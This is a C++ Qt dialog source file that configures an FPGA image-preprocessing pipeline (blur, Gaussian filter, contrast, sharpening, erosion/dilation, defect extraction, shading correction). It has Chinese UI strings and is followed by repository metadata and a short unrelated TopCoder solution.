#include <qdebug.h> #include "ImagepreprocessDlg.h" #include "ui_ImagepreprocessDlg.h" #include <QMessageBox> #include "../../Global/UtilitiesFun.h" #include "PretreatMentListCollect/PretreatmentModuleItem.h" #include "ContrastStrengthenDlg.h" #include "ContrastSwitchDlg.h" #include "GaussDlg.h" #include "SharpnessDlg.h" #include "PeakFilterDlg.h" #include "ShadingDialog.h" #include "DefectDialog.h" #include "BlurDialog.h" #include "AcceCommon.h" //#include "fpga_global.h" #include "Preprocess.h" void SetGaussEnable(int flag,void *Pdata) { ImagepreprocessDlg *preDlg = (ImagepreprocessDlg*)Pdata; ACCE_MODEL *ptr = (ACCE_MODEL*)preDlg->m_pre_ptr; if(ptr == NULL) return; if(flag == 1) { ptr->image_acce_param.pre_model_cfg.gauss_model_cfg.model_enable = 1; AcceleratorModuleEnable(ACCE_GAUSS_FILTER_ID); }else { ptr->image_acce_param.pre_model_cfg.gauss_model_cfg.model_enable = 0; AcceleratorModuleDisable(ACCE_GAUSS_FILTER_ID); } } void SetGaussDDREnable(int flag,void *Pdata) { ImagepreprocessDlg *preDlg = (ImagepreprocessDlg*)Pdata; AcceleratorModuleWriteDdrCfg(ACCE_GAUSS_FILTER_ID,preDlg->m_step,flag); } void ListGaussDlg(int itaskKind,void *Pdata) { ImagepreprocessDlg *preDlg = (ImagepreprocessDlg*)Pdata; GaussDlg dlg; dlg.m_task_id = preDlg->m_task_id; dlg.m_step = preDlg->m_step; dlg.m_pre_ptr = preDlg->m_pre_ptr; dlg.m_listX = preDlg->m_listX; dlg.m_listY = preDlg->m_listY; dlg.InitData(); dlg.move(660,0); dlg.exec(); } void SetContrastStrengthenEnable(int flag,void *Pdata) { ImagepreprocessDlg *preDlg = (ImagepreprocessDlg*)Pdata; ACCE_MODEL *ptr = (ACCE_MODEL*)preDlg->m_pre_ptr; if(ptr == NULL) return; if(flag == 1) { ptr->image_acce_param.pre_model_cfg.balance_model_cfg.model_enable = 1; AcceleratorModuleEnable(ACCE_BALANCE_MODEL_ID); }else { ptr->image_acce_param.pre_model_cfg.balance_model_cfg.model_enable = 0; AcceleratorModuleDisable(ACCE_BALANCE_MODEL_ID); } //AcceleratorModuleCfgShow(ACCE_BALANCE_MODEL_ID); } void SetContrastStrengthenDDREnable(int flag,void *Pdata) { ImagepreprocessDlg *preDlg = (ImagepreprocessDlg*)Pdata; AcceleratorModuleWriteDdrCfg(ACCE_BALANCE_MODEL_ID,preDlg->m_step,flag); } void ListContrastStrengthenDlg(int itaskKind,void *Pdata) { ImagepreprocessDlg *preDlg = (ImagepreprocessDlg*)Pdata; ContrastStrengthenDlg dlg; dlg.m_task_id = preDlg->m_task_id; dlg.m_step = preDlg->m_step; dlg.m_pre_ptr = preDlg->m_pre_ptr; dlg.InitData(); dlg.exec(); } void SetContrastSwitchEnable(int flag,void *Pdata) { ImagepreprocessDlg *preDlg = (ImagepreprocessDlg*)Pdata; ACCE_MODEL *ptr = (ACCE_MODEL*)preDlg->m_pre_ptr; if(ptr == NULL) return; if(flag == 1) { ptr->image_acce_param.pre_model_cfg.contrast_model_cfg.model_enable =1; AcceleratorModuleEnable(ACCE_CONTRAST_MODEL_ID); }else { ptr->image_acce_param.pre_model_cfg.contrast_model_cfg.model_enable =0; AcceleratorModuleDisable(ACCE_CONTRAST_MODEL_ID); } } void SetContrastSwitchDDREnable(int flag,void *Pdata) { ImagepreprocessDlg *preDlg = (ImagepreprocessDlg*)Pdata; AcceleratorModuleWriteDdrCfg(ACCE_CONTRAST_MODEL_ID,preDlg->m_step,flag); } void ListContrastSwitchDlg(int itaskKind,void *Pdata) { ImagepreprocessDlg *preDlg = (ImagepreprocessDlg*)Pdata; ContrastSwitchDlg dlg; dlg.m_task_id = preDlg->m_task_id; dlg.m_step = preDlg->m_step; dlg.m_pre_ptr = preDlg->m_pre_ptr; dlg.m_listX = preDlg->m_listX; dlg.m_listY = preDlg->m_listY; dlg.IniData(); dlg.move(660,0); dlg.exec(); } //边缘强调 void SetSharpnessEnable(int flag,void *Pdata) { ImagepreprocessDlg *preDlg = (ImagepreprocessDlg*)Pdata; ACCE_MODEL *ptr = (ACCE_MODEL*)preDlg->m_pre_ptr; if(ptr == NULL) return; if(flag == 1) { ptr->image_acce_param.pre_model_cfg.sharpness_model_cfg.model_enable = 1; AcceleratorModuleEnable(ACCE_SHARPNESS_MODEL_ID); }else { ptr->image_acce_param.pre_model_cfg.sharpness_model_cfg.model_enable = 0; AcceleratorModuleDisable(ACCE_SHARPNESS_MODEL_ID); } } void SetSharpnessDDREnable(int flag,void *Pdata) { ImagepreprocessDlg *preDlg = (ImagepreprocessDlg*)Pdata; AcceleratorModuleWriteDdrCfg(ACCE_SHARPNESS_MODEL_ID,preDlg->m_step,flag); } void ListSharpnessDlg(int itaskKind,void *Pdata) { ImagepreprocessDlg *preDlg = (ImagepreprocessDlg*)Pdata; SharpnessDlg dlg; dlg.m_task_id = preDlg->m_task_id; dlg.m_step = preDlg->m_step; dlg.m_pre_ptr = preDlg->m_pre_ptr; dlg.m_listX = preDlg->m_listX; dlg.m_listY = preDlg->m_listY; dlg.move(660,0); dlg.InitData(); dlg.exec(); } //原图膨胀腐蚀A void SetPeakFilterAEnable(int flag,void *Pdata) { ImagepreprocessDlg *preDlg = (ImagepreprocessDlg*)Pdata; ACCE_MODEL *ptr = (ACCE_MODEL*)preDlg->m_pre_ptr; if(ptr == NULL) return; if(flag == 1) { ptr->image_acce_param.pre_model_cfg.peak_a_model_cfg.model_enable =1; AcceleratorModuleEnable(ACCE_PEAK_FILTER_A_MODEL_ID); }else { ptr->image_acce_param.pre_model_cfg.peak_a_model_cfg.model_enable =0; AcceleratorModuleDisable(ACCE_PEAK_FILTER_A_MODEL_ID); } } void SetPeakFilterADDREnable(int flag,void *Pdata) { ImagepreprocessDlg *preDlg = (ImagepreprocessDlg*)Pdata; AcceleratorModuleWriteDdrCfg(ACCE_PEAK_FILTER_A_MODEL_ID,preDlg->m_step,flag); } void ListPeakFilterADlg(int itaskKind,void *Pdata) { ImagepreprocessDlg *preDlg = (ImagepreprocessDlg*)Pdata; PeakFilterDlg dlg; dlg.m_task_id = preDlg->m_task_id; dlg.m_step = preDlg->m_step; dlg.m_pre_ptr = preDlg->m_pre_ptr; dlg.m_SharpnessKind = PeakFilterDlg::SharpnessA; dlg.m_listX = preDlg->m_listX; dlg.m_listY = preDlg->m_listY; dlg.InitData(); dlg.move(660,0); dlg.exec(); } //原图膨胀腐蚀B void SetPeakFilterBEnable(int flag,void *Pdata) { ImagepreprocessDlg *preDlg = (ImagepreprocessDlg*)Pdata; ACCE_MODEL *ptr = (ACCE_MODEL*)preDlg->m_pre_ptr; if(ptr == NULL) return; if(flag == 1) { ptr->image_acce_param.pre_model_cfg.peak_b_model_cfg.model_enable =1; AcceleratorModuleEnable(ACCE_PEAK_FILTER_B_MODEL_ID); }else { ptr->image_acce_param.pre_model_cfg.peak_b_model_cfg.model_enable = 0; AcceleratorModuleDisable(ACCE_PEAK_FILTER_B_MODEL_ID); } } void SetPeakFilterBDDREnable(int flag,void *Pdata) { ImagepreprocessDlg *preDlg = (ImagepreprocessDlg*)Pdata; AcceleratorModuleWriteDdrCfg(ACCE_PEAK_FILTER_B_MODEL_ID,preDlg->m_step,flag); } void ListPeakFilterBDlg(int itaskKind,void *Pdata) { ImagepreprocessDlg *preDlg = (ImagepreprocessDlg*)Pdata; PeakFilterDlg dlg; dlg.m_task_id = preDlg->m_task_id; dlg.m_step = preDlg->m_step; dlg.m_pre_ptr = preDlg->m_pre_ptr; dlg.m_SharpnessKind = PeakFilterDlg::SharpnessB; dlg.m_listX = preDlg->m_listX; dlg.m_listY = preDlg->m_listY; dlg.InitData(); dlg.move(660,0); dlg.exec(); } //实时浓淡补正 void ListShadingDlg(int itaskKind,void *Pdata) { ImagepreprocessDlg *preDlg = (ImagepreprocessDlg*)Pdata; ShadingDialog dlg; dlg.m_step_id = preDlg->m_step; dlg.m_task_id= preDlg->m_task_id; dlg.m_pre_ptr = preDlg->m_pre_ptr; dlg.m_listX = preDlg->m_listX; dlg.m_listY = preDlg->m_listY; dlg.move(660,0); dlg.IniData(); dlg.exec(); } void SetShadingEnable(int flag,void *Pdata) { ImagepreprocessDlg *preDlg = (ImagepreprocessDlg*)Pdata; ACCE_MODEL *ptr = (ACCE_MODEL*)preDlg->m_pre_ptr; if(ptr == NULL) return; if(flag == 1) { ptr->image_acce_param.pre_model_cfg.shading_model_cfg.model_enable =1; AcceleratorModuleEnable(ACCE_SHADING_MODEL_ID); }else { ptr->image_acce_param.pre_model_cfg.shading_model_cfg.model_enable =0; AcceleratorModuleDisable(ACCE_SHADING_MODEL_ID); } } void SetShadingDDREnable(int flag,void *Pdata) { ImagepreprocessDlg *preDlg = (ImagepreprocessDlg*)Pdata; AcceleratorModuleWriteDdrCfg(ACCE_SHADING_MODEL_ID,preDlg->m_step,flag); } void SetShadingSrcValue(int taskId,void *pData) { } //缺陷提取 void ListDefectDlg(int itaskKind,void *Pdata) { ImagepreprocessDlg *preDlg = (ImagepreprocessDlg*)Pdata; DefectDialog dlg; dlg.m_step_id = preDlg->m_step; dlg.m_task_id= preDlg->m_task_id; dlg.m_pre_ptr = preDlg->m_pre_ptr; dlg.m_listX = preDlg->m_listX; dlg.m_listY = preDlg->m_listY; dlg.move(660,0); dlg.IniData(); dlg.exec(); } void SetDefectEnable(int flag,void *Pdata) { ImagepreprocessDlg *preDlg = (ImagepreprocessDlg*)Pdata; ACCE_MODEL *ptr = (ACCE_MODEL*)preDlg->m_pre_ptr; if(ptr == NULL) return; if(flag == 1) { ptr->image_acce_param.pre_model_cfg.defect_model_cfg.model_enable =1; AcceleratorModuleEnable(ACCE_DEFECT_MODEL_ID); }else { ptr->image_acce_param.pre_model_cfg.defect_model_cfg.model_enable =0; AcceleratorModuleDisable(ACCE_DEFECT_MODEL_ID); } } void SetDefectDDREnable(int flag,void *Pdata) { ImagepreprocessDlg *preDlg = (ImagepreprocessDlg*)Pdata; AcceleratorModuleWriteDdrCfg(ACCE_DEFECT_MODEL_ID,preDlg->m_step,flag); } void SetDefectSrcValue(int taskId,void *pData) { } //模糊处理 void ListBlurDlg(int itaskKind,void *Pdata) { ImagepreprocessDlg *preDlg = (ImagepreprocessDlg*)Pdata; BlurDialog dlg; dlg.m_step = preDlg->m_step; dlg.m_task_id= preDlg->m_task_id; dlg.m_pre_ptr = preDlg->m_pre_ptr; dlg.m_listX = preDlg->m_listX; dlg.m_listY = preDlg->m_listY; dlg.move(660,0); dlg.InitData(); dlg.exec(); } void SetBlurEnable(int flag,void *Pdata) { ImagepreprocessDlg *preDlg = (ImagepreprocessDlg*)Pdata; ACCE_MODEL *ptr = (ACCE_MODEL*)preDlg->m_pre_ptr; if(ptr == NULL) return; if(flag == 1) { ptr->image_acce_param.pre_model_cfg.blur_model_cfg.model_enable =1; AcceleratorModuleEnable(ACCE_BLUR_MODEL_ID); }else { ptr->image_acce_param.pre_model_cfg.blur_model_cfg.model_enable =0; AcceleratorModuleDisable(ACCE_BLUR_MODEL_ID); } } void SetBlurDDREnable(int flag,void *Pdata) { ImagepreprocessDlg *preDlg = (ImagepreprocessDlg*)Pdata; AcceleratorModuleWriteDdrCfg(ACCE_BLUR_MODEL_ID,preDlg->m_step,flag); } void SetBlurSrcValue(int taskId,void *pData) { } ImagepreprocessDlg::ImagepreprocessDlg(QWidget *parent) : QDialog(parent), ui(new Ui::ImagepreprocessDlg) { ui->setupUi(this); m_listX = ui->labelPic->x(); m_listY = ui->labelPic->y(); IniDefalutPattern(); InitFunPtr(); } ImagepreprocessDlg::~ImagepreprocessDlg() { delete ui; } void ImagepreprocessDlg::InitFunPtr() { STRUCT_FUN_PTR blurMode; blurMode.List_model_dlg=ListBlurDlg; blurMode.Set_ddr_enable=SetBlurDDREnable; blurMode.Set_model_enable = SetBlurEnable; m_fun_ptr.insert(ACCE_BLUR_MODEL_ID,blurMode); STRUCT_FUN_PTR gaussMode; gaussMode.List_model_dlg=ListGaussDlg; gaussMode.Set_ddr_enable=SetGaussDDREnable; gaussMode.Set_model_enable = SetGaussEnable; m_fun_ptr.insert(ACCE_GAUSS_FILTER_ID,gaussMode); STRUCT_FUN_PTR contrastStrengthenMode; contrastStrengthenMode.List_model_dlg=ListContrastStrengthenDlg; contrastStrengthenMode.Set_ddr_enable=SetContrastStrengthenDDREnable; contrastStrengthenMode.Set_model_enable = SetContrastStrengthenEnable; m_fun_ptr.insert(ACCE_BALANCE_MODEL_ID,contrastStrengthenMode); STRUCT_FUN_PTR contrastSwitchMode; contrastSwitchMode.List_model_dlg=ListContrastSwitchDlg; contrastSwitchMode.Set_ddr_enable=SetContrastSwitchDDREnable; contrastSwitchMode.Set_model_enable = SetContrastSwitchEnable; m_fun_ptr.insert(ACCE_CONTRAST_MODEL_ID,contrastSwitchMode); STRUCT_FUN_PTR sharpness; //边缘强调 sharpness.List_model_dlg=ListSharpnessDlg; sharpness.Set_ddr_enable=SetSharpnessDDREnable; sharpness.Set_model_enable = SetSharpnessEnable; m_fun_ptr.insert(ACCE_SHARPNESS_MODEL_ID,sharpness); STRUCT_FUN_PTR peakFilterA; //原图膨胀腐蚀a peakFilterA.List_model_dlg=ListPeakFilterADlg; peakFilterA.Set_ddr_enable=SetPeakFilterADDREnable; peakFilterA.Set_model_enable = SetPeakFilterAEnable; m_fun_ptr.insert(ACCE_PEAK_FILTER_A_MODEL_ID,peakFilterA); STRUCT_FUN_PTR peakFilterB; //原图膨胀腐蚀b peakFilterB.List_model_dlg=ListPeakFilterBDlg; peakFilterB.Set_ddr_enable=SetPeakFilterBDDREnable; peakFilterB.Set_model_enable = SetPeakFilterBEnable; m_fun_ptr.insert(ACCE_PEAK_FILTER_B_MODEL_ID,peakFilterB); STRUCT_FUN_PTR shadingMode; shadingMode.List_model_dlg=ListShadingDlg; shadingMode.Set_ddr_enable=SetShadingDDREnable; shadingMode.Set_model_enable =SetShadingEnable; shadingMode.SetPicSrc = SetShadingSrcValue; m_fun_ptr.insert(ACCE_SHADING_MODEL_ID,shadingMode); STRUCT_FUN_PTR defectMode; defectMode.List_model_dlg=ListDefectDlg; defectMode.Set_ddr_enable=SetDefectDDREnable; defectMode.Set_model_enable =SetDefectEnable; defectMode.SetPicSrc = SetDefectSrcValue; m_fun_ptr.insert(ACCE_DEFECT_MODEL_ID,defectMode); } void ImagepreprocessDlg::IniDefalutPattern() { int width = ui->listWidgetPattern->width(); int height = 50; ui->listWidgetPattern->addItem("默认模式1"); ui->listWidgetPattern->addItem("默认模式2"); ui->listWidgetPattern->addItem("默认模式3"); for (int i=0;i<ui->listWidgetPattern->count();i++) { QListWidgetItem * pItem = ui->listWidgetPattern->item(i); pItem->setSizeHint(QSize(width,height)); } } void ImagepreprocessDlg::ClearList(QListWidget *pListWidget) { int count = pListWidget->count(); for(int i= 0; i<count;i++) { int row = pListWidget->count()-1; QListWidgetItem *itemdel= pListWidget->takeItem(row); delete itemdel; } } void ImagepreprocessDlg::on_listWidgetPattern_clicked(const QModelIndex &index) { ACCE_MODEL *ptr = (ACCE_MODEL*)m_pre_ptr; if(ptr != NULL) { int iRow = index.row(); switch (iRow) { case 0: DefalutOne(); ptr->image_acce_param.pre_model_cfg.pipeline_mode_sel = 0; AcceleratorModuleConfig(ACCE_PRE_MODEL_ID,m_step); break; case 1: DefalutTwo(); ptr->image_acce_param.pre_model_cfg.pipeline_mode_sel = 1; AcceleratorModuleConfig(ACCE_PRE_MODEL_ID,m_step); break; case 2: DefalutThree(); ptr->image_acce_param.pre_model_cfg.pipeline_mode_sel = 2; AcceleratorModuleConfig(ACCE_PRE_MODEL_ID,m_step); break; case 3: break; case 4: break; default: break; } GetImageOutPut(); ListInformation("设定适用于图像预处理种类,指定了复数个种类,以从上往下的方式进行处理"); } } void ImagepreprocessDlg::DefalutOne() { ClearList(ui->listWidget); ACCE_MODEL *ptr = (ACCE_MODEL*)m_pre_ptr; if(ptr == NULL) return; AddItemData(tr("模糊处理"),ACCE_BLUR_MODEL_ID,ptr->image_acce_param.pre_model_cfg.blur_model_cfg.model_enable,0); m_fun_ptr.value(ACCE_BLUR_MODEL_ID).Set_model_enable(ptr->image_acce_param.pre_model_cfg.blur_model_cfg.model_enable,this); AddItemData(tr("高斯滤波"),ACCE_GAUSS_FILTER_ID,ptr->image_acce_param.pre_model_cfg.gauss_model_cfg.model_enable,1); m_fun_ptr.value(ACCE_GAUSS_FILTER_ID).Set_model_enable(ptr->image_acce_param.pre_model_cfg.gauss_model_cfg.model_enable,this); AddItemData(tr("对比度增强"),ACCE_BALANCE_MODEL_ID,ptr->image_acce_param.pre_model_cfg.balance_model_cfg.model_enable,2); m_fun_ptr.value(ACCE_BALANCE_MODEL_ID).Set_model_enable(ptr->image_acce_param.pre_model_cfg.balance_model_cfg.model_enable,this); AddItemData(tr("对比度转换"),ACCE_CONTRAST_MODEL_ID,ptr->image_acce_param.pre_model_cfg.contrast_model_cfg.model_enable,3); m_fun_ptr.value(ACCE_CONTRAST_MODEL_ID).Set_model_enable(ptr->image_acce_param.pre_model_cfg.contrast_model_cfg.model_enable,this); AddItemData(tr("边缘强调"),ACCE_SHARPNESS_MODEL_ID,ptr->image_acce_param.pre_model_cfg.sharpness_model_cfg.model_enable,4); m_fun_ptr.value(ACCE_SHARPNESS_MODEL_ID).Set_model_enable(ptr->image_acce_param.pre_model_cfg.sharpness_model_cfg.model_enable,this); AddItemData(tr("原图膨胀腐蚀A"),ACCE_PEAK_FILTER_A_MODEL_ID,ptr->image_acce_param.pre_model_cfg.peak_a_model_cfg.model_enable,5); m_fun_ptr.value(ACCE_PEAK_FILTER_A_MODEL_ID).Set_model_enable(ptr->image_acce_param.pre_model_cfg.peak_a_model_cfg.model_enable,this); AddItemData(tr("原图膨胀腐蚀B"),ACCE_PEAK_FILTER_B_MODEL_ID,ptr->image_acce_param.pre_model_cfg.peak_b_model_cfg.model_enable,6); m_fun_ptr.value(ACCE_PEAK_FILTER_B_MODEL_ID).Set_model_enable(ptr->image_acce_param.pre_model_cfg.peak_b_model_cfg.model_enable,this); } void ImagepreprocessDlg::DefalutTwo() { ClearList(ui->listWidget); ACCE_MODEL *ptr = (ACCE_MODEL*)m_pre_ptr; if(ptr == NULL) return; AddItemData(tr("高斯滤波"),ACCE_GAUSS_FILTER_ID,ptr->image_acce_param.pre_model_cfg.gauss_model_cfg.model_enable,0); m_fun_ptr.value(ACCE_GAUSS_FILTER_ID).Set_model_enable(ptr->image_acce_param.pre_model_cfg.gauss_model_cfg.model_enable,this); AddItemData(tr("对比度增强"),ACCE_BALANCE_MODEL_ID,ptr->image_acce_param.pre_model_cfg.balance_model_cfg.model_enable,1); m_fun_ptr.value(ACCE_BALANCE_MODEL_ID).Set_model_enable(ptr->image_acce_param.pre_model_cfg.balance_model_cfg.model_enable,this); AddItemData(tr("对比度转换"),ACCE_CONTRAST_MODEL_ID,ptr->image_acce_param.pre_model_cfg.contrast_model_cfg.model_enable,2); m_fun_ptr.value(ACCE_CONTRAST_MODEL_ID).Set_model_enable(ptr->image_acce_param.pre_model_cfg.contrast_model_cfg.model_enable,this); AddItemData(tr("缺陷提取"),ACCE_DEFECT_MODEL_ID,ptr->image_acce_param.pre_model_cfg.defect_model_cfg.model_enable,3); m_fun_ptr.value(ACCE_DEFECT_MODEL_ID).Set_model_enable(ptr->image_acce_param.pre_model_cfg.defect_model_cfg.model_enable,this); } void ImagepreprocessDlg::DefalutThree() { ClearList(ui->listWidget); ACCE_MODEL *ptr = (ACCE_MODEL*)m_pre_ptr; if(ptr == NULL) return; AddItemData(tr("高斯滤波"),ACCE_GAUSS_FILTER_ID,ptr->image_acce_param.pre_model_cfg.gauss_model_cfg.model_enable,0); m_fun_ptr.value(ACCE_GAUSS_FILTER_ID).Set_model_enable(ptr->image_acce_param.pre_model_cfg.gauss_model_cfg.model_enable,this); AddItemData(tr("对比度转换"),ACCE_CONTRAST_MODEL_ID,ptr->image_acce_param.pre_model_cfg.contrast_model_cfg.model_enable,1); m_fun_ptr.value(ACCE_CONTRAST_MODEL_ID).Set_model_enable(ptr->image_acce_param.pre_model_cfg.contrast_model_cfg.model_enable,this); AddItemData(tr("对比度增强"),ACCE_BALANCE_MODEL_ID,ptr->image_acce_param.pre_model_cfg.balance_model_cfg.model_enable,2); m_fun_ptr.value(ACCE_BALANCE_MODEL_ID).Set_model_enable(ptr->image_acce_param.pre_model_cfg.balance_model_cfg.model_enable,this); AddItemData(tr("实时浓淡补正"),ACCE_SHADING_MODEL_ID,ptr->image_acce_param.pre_model_cfg.shading_model_cfg.model_enable,3); m_fun_ptr.value(ACCE_SHADING_MODEL_ID).Set_model_enable(ptr->image_acce_param.pre_model_cfg.shading_model_cfg.model_enable,this); } void ImagepreprocessDlg::AddItemData(QString strName,int index,int bCheck,int current) { PretreatmentModuleItem *p_PretreatmentModuleItem = new PretreatmentModuleItem; p_PretreatmentModuleItem->setAttribute(Qt::WA_DeleteOnClose); p_PretreatmentModuleItem->SetInfoName(strName); p_PretreatmentModuleItem->m_taskKind = index; p_PretreatmentModuleItem->m_current_row = current; p_PretreatmentModuleItem->SetCheckdevalue(bCheck); int size =ui->listWidget->count(); QListWidgetItem* mItem = new QListWidgetItem(ui->listWidget); ui->listWidget->setItemWidget(mItem,(QWidget*)p_PretreatmentModuleItem); ui->listWidget->item(size)->setSizeHint(QSize(340,50)); ui->listWidget->setCurrentRow(size); connect(p_PretreatmentModuleItem,&PretreatmentModuleItem::SignalOperate,this,&ImagepreprocessDlg::OperateSlots); } void ImagepreprocessDlg::OperateSlots(int iOperate, int itaskKind, int value, int current) { ui->listWidget->setCurrentRow(current); switch (iOperate) { case PREENABLE: m_fun_ptr.value(itaskKind).Set_model_enable(value,this); break; case PREDETAIL: m_fun_ptr.value(itaskKind).List_model_dlg(itaskKind,this); break; default: break; } GetImageOutPut(); ListInformation(GetInfoByTaskID(itaskKind)); } int ImagepreprocessDlg::GetImageOutPut() { Pre_Model_Out_Src_Auto_Set(m_step); ACCE_MODEL *ptr = (ACCE_MODEL*)m_pre_ptr; if(ptr !=NULL) ptr->image_acce_param.vga_model_cfg.vga_pic_src_sel = ACCE_PRE_MODEL_ID; AcceleratorModuleConfig(ACCE_VGA_MODEL_ID,m_step); UtilitiesFun::Instance()->ListVGA(ui->labelPic->x(),ui->labelPic->y(),0xffffffff); return 0; int count = ui->listWidget->count(); for(int i = 0; i<count;i++) { QListWidgetItem *item = ui->listWidget->item(count-i-1); QWidget *qWidget = ui->listWidget->itemWidget(item); QString strName= ((PretreatmentModuleItem*)qWidget)->GetInfoName(); int bChecek =((PretreatmentModuleItem*)qWidget)->GetCheckedValue(); int taskIndex= ((PretreatmentModuleItem*)qWidget)->m_taskKind; if(bChecek == 1) { m_image_out_src = taskIndex; ACCE_MODEL *ptr = (ACCE_MODEL*)m_pre_ptr; if(ptr !=NULL) { //ptr->image_acce_param.pre_model_cfg.pre_wr_ddr_en =1; ptr->image_acce_param.pre_model_cfg.pre_src_out_sel = m_image_out_src; qDebug()<<"m_image_out_src==="<<m_image_out_src; ptr->image_acce_param.vga_model_cfg.vga_pic_src_sel = ACCE_PRE_MODEL_ID; AcceleratorModuleConfig(ACCE_PRE_MODEL_ID,m_step); AcceleratorModuleConfig(ACCE_VGA_MODEL_ID,m_step); AcceleratorModuleWriteDdrCfg(ACCE_PRE_MODEL_ID,m_step,1); //AcceleratorModuleEnable(ACCE_PRE_MODEL_ID); } UtilitiesFun::Instance()->ListVGA(ui->labelPic->x(),ui->labelPic->y(),0xffffffff); break; } } return m_image_out_src; } void ImagepreprocessDlg::on_btnOk_clicked() { ACCE_MODEL *ptr = (ACCE_MODEL*)m_pre_ptr; if(ptr != NULL) { int row = ui->listWidgetPattern->currentRow(); switch (row) { case 0: ptr->image_acce_param.pre_model_cfg.pipeline_mode_sel = 0; break; case 1: ptr->image_acce_param.pre_model_cfg.pipeline_mode_sel = 1; break; case 2: ptr->image_acce_param.pre_model_cfg.pipeline_mode_sel = 2; break; default: break; } AcceleratorModuleConfig(ACCE_PRE_MODEL_ID,m_step); } QDialog::accept(); } void ImagepreprocessDlg::on_btnQuit_clicked() { QMessageBox::StandardButton rb = QMessageBox::warning(NULL, tr("提示"),tr("编辑未完成,确定退出!"), QMessageBox::Yes | QMessageBox::No, QMessageBox::No); if(rb == QMessageBox::Yes) { ACCE_MODEL *ptr = (ACCE_MODEL*)m_pre_ptr; if(ptr != NULL) { ptr->image_acce_param.pre_model_cfg= m_cfg; AcceleratorModuleConfig(ACCE_PRE_MODEL_ID,m_step); } QDialog::reject(); } } void ImagepreprocessDlg::IniData() { ACCE_MODEL *ptr = (ACCE_MODEL*)m_pre_ptr; if(ptr != NULL) { m_cfg = ptr->image_acce_param.pre_model_cfg; int iLineMode = ptr->image_acce_param.pre_model_cfg.pipeline_mode_sel; qDebug()<<"ptr->image_acce_param.pre_model_cfg.pipeline_mode_sel="<<ptr->image_acce_param.pre_model_cfg.pipeline_mode_sel; switch (iLineMode) { case 0: DefalutOne(); ui->listWidgetPattern->setCurrentRow(0); break; case 1: DefalutTwo(); ui->listWidgetPattern->setCurrentRow(1); break; case 2: DefalutThree(); ui->listWidgetPattern->setCurrentRow(2); break; default: break; } GetImageOutPut(); } ListInformation("设定适用于图像预处理种类,指定了复数个种类,以从上往下的方式进行处理"); } void ImagepreprocessDlg::ListInformation(QString strInfo) { ui->txtInfo->clear(); ui->txtInfo->append(strInfo); } QString ImagepreprocessDlg::GetInfoByTaskID(int taskId) { QString strRet = ""; switch (taskId) { case ACCE_BLUR_MODEL_ID: //模糊处理 strRet = "模糊图像后进行平滑处理,可达到排除干扰的目的.另外,当检测对象内存在复数个块状物时,通过该处理,可以将块状物连接在一起,使检测达到稳定化的效果。"; break; case ACCE_GAUSS_FILTER_ID: //< 5*5卷积(高斯)滤波模块 strRet = "高斯滤波是一种线性平滑滤波,适用于消除高斯噪声,应用于图像处理的减噪过程。"; break; case ACCE_BALANCE_MODEL_ID: //均衡直方图模块 strRet = "对比度增强并不以图像保真为准则,而是有选择地突出某些对人或机器分析有意义的信息,抑制无用信息,提高图像的使用价值。"; break; case ACCE_CONTRAST_MODEL_ID: //对比度转换模块 strRet = "进行增益调整。调整图像的明暗和浓淡变化的倾斜。"; break; case ACCE_SHARPNESS_MODEL_ID: //边缘强调模块 strRet = "图像锐化功能,用于增强图像锐利度。"; break; case ACCE_PEAK_FILTER_A_MODEL_ID: //原图腐蚀膨胀A模块 strRet = "腐蚀是用来消除边界点,使边界向内部收缩的过程,可以用来消除小且无意义的物体,膨胀是将与物体接触的所有背景点合并到该物体中,使边界向外部扩张的过程,可以用来填补物体中的空洞。"; break; case ACCE_PEAK_FILTER_B_MODEL_ID: //原图腐蚀膨胀B模块 strRet = "腐蚀是用来消除边界点,使边界向内部收缩的过程,可以用来消除小且无意义的物体,膨胀是将与物体接触的所有背景点合并到该物体中,使边界向外部扩张的过程,可以用来填补物体中的空洞。"; break; case ACCE_DEFECT_MODEL_ID: //缺陷提取模块 strRet = "用于提取均匀背景下的缺陷。"; break; case ACCE_SHADING_MODEL_ID: //实时浓淡补正模块 strRet = "排除背景的浓淡渐变,只抽取对比度较大的部分。另外,还能使用检测范围内的浓度平均值及中间值,对图像整体的对比度进行平均补正。"; break; default: break; } return strRet; } void ImagepreprocessDlg::on_listWidget_clicked(const QModelIndex &index) { int iRow = index.row(); if(iRow >=0) { QListWidgetItem *item = ui->listWidget->item(iRow); QWidget *qWidget = ui->listWidget->itemWidget(item); int itaskKind= ((PretreatmentModuleItem*)qWidget)->m_taskKind; ListInformation(GetInfoByTaskID(itaskKind)); } }
[ "1245552661@qq.com" ]
1245552661@qq.com
0dee3b110a06f374a3b096aade3d49433f961025
c45ed46065d8b78dac0dd7df1c95b944f34d1033
/TC-SRM-554-div1-250/linkct.cpp
65b78f578d3b9274559e2aad4338e35d20e63cde
[]
no_license
yzq986/cntt2016-hw1
ed65a6b7ad3dfe86a4ff01df05b8fc4b7329685e
12e799467888a0b3c99ae117cce84e8842d92337
refs/heads/master
2021-01-17T11:27:32.270012
2017-01-26T03:23:22
2017-01-26T03:23:22
84,036,200
0
0
null
2017-03-06T06:04:12
2017-03-06T06:04:12
null
UTF-8
C++
false
false
195
cpp
#include <bits/stdc++.h> using namespace std; class TheBrickTowerEasyDivOne{ public: int find(int rc, int rh, int bc, int bh){ return min(rc, bc) * (2 + int(rh != bh)) + int(rc != bc); } };
[ "linkct1999@163.com" ]
linkct1999@163.com
b31d0ce6991bc803b677ca3824713fe20d5a058f
a6dcd99a24872d6e81539faa0eef01dcbed84ba2
/observer/include/Observer.h
0fba89651e01cdd1046c8b12503693e40961ec2c
[]
no_license
mehmetrizaoz/design_patterns
2d508ac3563598984d4d09a398cde30682ae4da4
17ffeb88d4739fc3bd7de5276c98472767bfde0c
refs/heads/main
2023-05-22T22:56:33.430392
2021-06-16T06:36:22
2021-06-16T06:36:22
345,968,028
1
0
null
null
null
null
UTF-8
C++
false
false
113
h
#pragma once class Observer { public: virtual void update(float temp, float humidity, float pressure)=0; };
[ "mehmetrizaoz@gmail.com" ]
mehmetrizaoz@gmail.com
c82916988283419d350450e800fc53cf935df836
143817babc4b8a453c5893f12c4a5707f132172b
/dbms/programs/odbc-bridge/ColumnInfoHandler.cpp
3b4c7f42ceadcb057337f5363e3412d92a41037f
[ "Apache-2.0" ]
permissive
astudnev/ClickHouse-1
b98ebdda6b9e58500e948b8bea7ce84d943b46b6
08f6305dba7c5e80686f819b7eafedb3bbbb3f2d
refs/heads/master
2020-03-27T03:46:02.338065
2018-08-23T16:33:25
2018-08-23T16:33:25
145,888,336
0
0
null
2018-08-23T17:47:44
